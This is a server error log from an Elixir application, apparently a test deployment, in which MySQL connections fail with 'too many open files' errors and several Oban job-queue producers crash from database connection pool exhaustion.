    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:54:24.239597Z], limit: 5, uuid: "69eb343f-7dac-4446-aeac-cb1f4283760b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:24.239603Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73284>, refresh_timer: #Reference<0.2525715032.1077673987.61183>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:37.258000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:37.311000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:37.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:38.915000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:40.340000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:44.955000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:47.154000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:47.443000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:54:36.239674Z], limit: 5, uuid: "348660ac-63d8-42f8-87bd-fad31d766322", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:36.239679Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.229192>, refresh_timer: #Reference<0.2525715032.1121189889.229181>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:54:36.239353Z], limit: 3, uuid: "60855a87-a5e8-441d-a551-25a6723ee49f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:36.239359Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.229195>, refresh_timer: #Reference<0.2525715032.1068498948.86949>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:54:36.239237Z], limit: 50, uuid: "c9a45f42-a41d-4251-ba99-b64d86596fa0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:36.239243Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.229194>, refresh_timer: #Reference<0.2525715032.1099431938.73389>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:54:36.241037Z], limit: 5, uuid: "f5308ebc-cdf0-4ee7-b941-94f0769e620a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:36.241043Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.229193>, refresh_timer: #Reference<0.2525715032.1099431938.73410>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:48.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:54:36.238187Z], limit: 20, uuid: "274d09a6-23c1-412e-bc4e-31c5d1aa82b8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:36.238197Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73412>, refresh_timer: #Reference<0.2525715032.1077673987.61227>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:48.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:54:36.239419Z], limit: 10, uuid: "7726e95d-043d-45b2-94f1-84d84784c5e4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:36.239425Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73411>, refresh_timer: #Reference<0.2525715032.1099431938.73398>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:49.639000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:51.735000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:53.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:56.144000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:57.693000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:59.774000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:54:48.240455Z], limit: 5, uuid: "b6b5380b-9d81-4952-acdd-d0aa45d409ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:48.240461Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73514>, refresh_timer: #Reference<0.2525715032.1099431938.73506>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
